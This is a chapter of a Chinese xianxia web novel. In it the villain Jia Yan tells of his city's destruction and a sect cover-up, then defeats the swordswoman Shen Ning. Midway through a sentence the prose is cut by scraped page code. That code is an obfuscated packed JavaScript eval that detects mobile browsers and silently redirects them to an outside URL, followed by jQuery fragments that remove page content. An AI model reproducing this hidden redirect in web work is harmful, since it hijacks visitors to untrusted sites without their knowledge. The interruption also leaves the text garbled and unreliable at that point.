118. 逢生(6)
作品:《因系统Bug捡错男主了?!》 贾砚目光看向远处,缓缓道:“城灭后一个月,我回过洛夕城。”
沈宁握剑的手不禁收紧了。
“你们或许觉得,眼下人间如炼狱,那是你们没见过当年的‘洛夕’城。”
“我在城外守了十几日,见无数波官兵和修士来来去去,人稀到人密,再到人稀,最后城门关上,被皇家贴上封条。然而从头到尾,都没人想过去埋葬城中那些无辜之人的尸体。”
“他们省吃俭用纳税银,节衣缩食给‘仙山’贡献香火,到最后,谁也没能保护得了他们。甚至连来收尸的都没有,整个城被世间抛弃,沦为了巨大的坟场。”
“四百年了。新帝更替无数,连各派掌门都换过几轮,城中无名尸骨早已经化粉湮灭。”
“新帝登记,改年号为万衍,正逢多地暴雨不歇,水患频发,圣上一旨皇谕,将洛夕城郭附近因水患流离的灾民迁入城内,并改城名为安乐。于是闭了三百年的城门又开,没人再能想起四百年前的洛夕,和那些早被风化的枯骨。”
“可就算所有人都忘了,我还记得啊。”贾砚道:“封城第二日,我从高墙跃下入城,摔折了左腿。我拖着一副残躯病体寻找我的父母,城内到处弥漫着死人腐烂的恶臭和浊气,那些人皮肤生蛆,白骨裸露,根本辨不出模样。”
“我不记得一路上踩碎了多少根手骨、腿骨、趾骨,强忍着肠胃中的翻涌,跌跌撞撞寻到了仁宁街。仁宁街最尾端便是我们一家四口的小屋,我的父母,还有一个妹妹。”
贾砚淡褐色的眸子难得流出一丝怀念:“屋子虽小,但朝向好,冬暖夏凉,不过百余步便有一处杨柳堤,盛夏里,我妹妹最爱去提上玩耍,脱鞋褪袜,将双脚浸入冰凉的河水中,笑嘻嘻地缠着我要我讲故事。”
“然而。”贾砚眸中的怀念消失无踪:“我强撑着意念回去,却连他们的尸骨都没瞧见。”
沈宁愣了愣。
那抹诡异的笑容又重新浮现在贾砚嘴角:“我在我家,那个小茅屋前,看见了本该离去的‘仙长’。”
“他们均着一身黑衣,玄纱遮面,看不出门派。但我亲眼见他们从我家里走出,手中还拿着一个黑色的陶罐。”
“待他们离去后,我才敢出来。我进屋中发现有火灼的痕迹,四面墙的墙根都被熏成了灰黑,而我的父母和妹妹,连尸骨都不剩了。”
贾砚喃喃重复着:“他们就连尸骨,都没给我留下。”
“原本我修炼的初衷,只为在乱世中更好保护家人。但我根骨欠佳,资质平平,入不了名门的眼,自钻自研,也摸出了点门道。待小有所成归家之际,却什么都没有了。”
“但当时我虽心中有疑,却不敢妄下推断。因此,当诸门请天下散修协力共查‘鬼种’之时,我立刻报了名。最后也算老天良心未泯,我所在的队伍最终寻到老巢,见到了你口中说的饲育‘鬼种’的凡人。”
沈宁呼吸一滞。
“我认得他。”贾砚说这话时出奇平静,并未显出怒意:“他姓梅,单名一个川。你会说出饲‘鬼种’的是凡人这话,想必梅川的生平多半你也听说了,但有一处与传闻中不一。他被知府构陷后遭受无数屈打侮辱,最终心灰意冷背井离乡,没过多久便克死他乡,他的尸骨......还是我埋葬的。”
“撇开我与梅川私交不论。石窟中他尸骨被发现时,身上明显有被人施了钉魂术的痕迹,是故明明死亡多年,尸身却仍不腐。在场除我一名散修外,还有十多双金丹末期的眼睛,怎的连区区‘钉魂术’都察觉不出来?”
“‘鬼种’之事若没结果,玄门不好对皇都和百姓交代,是故才随便找了个替罪羊做了了解。我虽已明白,但却无法说出真相。当时玄门若想杀我,比捏死蚂蚁还轻巧。”
“我佯装跌倒,撞翻了长明灯,并在火种中悄悄度了灵力。当他们反应过来此火非同寻常之时,已经晚了。‘鬼种’一个也没留下,而我则趁火顺走了那张被他们用来栽赃嫁祸,记载饲育鬼种之法的羊皮纸。”
“也是从那张羊皮纸上,我才明白为何他们选中了死去多年的梅川作替罪羊。只因梅川也染了‘鬼种’,却并未鬼化,他们想要找到原因。”
“我本以为地窖中的‘鬼种’不是全部,但之后‘鬼种’就此销声匿迹,且史卷亦如是记载。我只能说养尊处优的生活终究养出了一群蠢货,竟不留后手。”
“我猜你一定想,为何他们要做此事。往昔玄门为了争夺势力,此等视人命为草芥的事可没少干,只是‘鬼种’感染范围没控制好,扩大到人尽皆知罢了,至于我父母妹妹,还有几十万洛夕城民,运气不赶巧,成了牺牲品。”
“这便是万顷黄土黎民百姓翘首信仰的‘仙长仙尊’。”
沈宁愠怒:“可万千百姓又何辜?”
“你问我,那些愚民何辜?”贾砚歪着头,状似不解。
“那我问你,何为修士,何为凡人?若无凡人,哪来的修士,若无修士,又哪来的凡人?”贾砚说至后面,语气明显激动起来,眼白攀满血丝。
“若没有那些愚民捧高,试问玄门怎能高高在上,颐指气使?!”
“所以——”贾砚话锋顿了顿,深吸一口气。
“——他们都该死。”
“所有人,都该死。”
他话音将落,强大的灵流漩涡从四面八方汇聚而来。
喀嚓——
霜墙从下至上,寸寸爬满蛛丝般的裂痕,随即轰隆一声巨响,四五座霜墙同时崩塌,空气中霜雾弥漫,雪星纷飞。
“姐姐,小心他——”
传音被忽然中断。
原本于她有力的虚境却反倒身为束缚她的牢笼。
但沈宁并无惧色,握剑的手丝毫不豫,目光灼灼,神识不断在探究对方筋脉。
谁都有弱点。
忽然,遗留在贾砚体内的神识遭受到了强劲的阻力,不得已停滞下来。
贾砚周围的束缚已消。他缓缓抬手,握住剑刃,鲜血从掌心蜿蜒而出,顺着腕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15641615|161984||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
臂流入衣袖:“所以你说,我所作所为,何错之有?若入局者换做你,该当如何?”
沈宁的神识在和所遇到的力量斡旋,闻言回道:“可你所为,与你厌恶的人又有何异?你可曾想想过,你如此行事,不外乎在世界上又创造出了千千万万个你而已。”
“其实百姓所拜并非玄门,也并非修士,而是对今后的憧憬和希望。哪怕此间并无玄门和修士,他们也亦然会寻找别的信仰。你能杀人,却并不能剥夺人的信仰,这是生物的本能。”
贾砚先是一愣,旋即怒喝:“一派胡言!”
于此同时,沈宁的神识遭受到了反噬,腥甜之气在胸腔间弥漫开来。“长歌”被无形之力所震,从贾砚身体内脱离而出。
沈宁虎口剧麻,她拼死才没有让剑脱手。
战斗中剑修之剑一旦脱手,就以为败局。
但也因此,她只得生生吃下冲击,握着剑一连退后数步。
沈宁须臾之间连受两次攻击,只感头晕眼花,意识也忽然沉重起来。她摇摇欲坠的肩膀最后被一双手扶住了。
“小姑娘。”贾砚犹如寒夜的声音在她身后响起,沈宁身体一颤。
“你打不过我的。”
钻心之痛紧随而至。
沈宁悚然睁大了双眼,一只手从背后穿透了肩胛骨。
“让我想想,该如何处置你?”贾砚惯常玩味的笑容已然消失,眸底的阴鸷和仇恨暴露无遗。
“你将我和你隔绝在此,想必定是不愿殃及无辜,你知道天下所有人都是我的人质,你很聪明。”
“可是你也很蠢。你既知我修为高深,区区半妖杂种所造虚境又如何能困得住我?我不过是将计就计罢了。你让此境保护他们,那我便让此地成为束缚你的坟墓,让你悔不当初——我猜你告诉过他,在你取胜之前,无论如何都不能解开此境,对吧?”
沈宁闻言,瞳孔骤缩,脸上这才流露出对强大力量的不安和恐惧。
“对,就是这个表情。我杀过那么多人,他们临死前和你的表情一样。不过我也知道,你这样的人最是不在意自己的生死,若不然,也不敢只身引我入局,你本就抱着必死的决心来的,对吗?”
沈宁的额发在脸上撒了一层浓重的阴影,看不出她此刻的表情。
但她握剑的手渐渐松开了。
铿——
“长歌”掉落在地,莹莹剑芒肉眼可见灰败下去。
剑柄在掌心中早已摩挲出血痕,这是她方才拼死抵抗的证明。
然而现在的她似乎已全然放弃了,和着“长歌”一起,那股执着、毅力、坚强,也随之砸在地上,碎成齑粉。
但贾砚似乎还不知足。
“妖王族的妖丹可真是个好东西。”
沈宁惨然欲死的眸光中终于挣扎出一丝活人气来。她侧目盯着贾砚掌中那团悬浮着的绯红妖光,唇瓣翕动,过了半晌才从喉间挤出暗哑的声音。
“别动他。”
“求你。”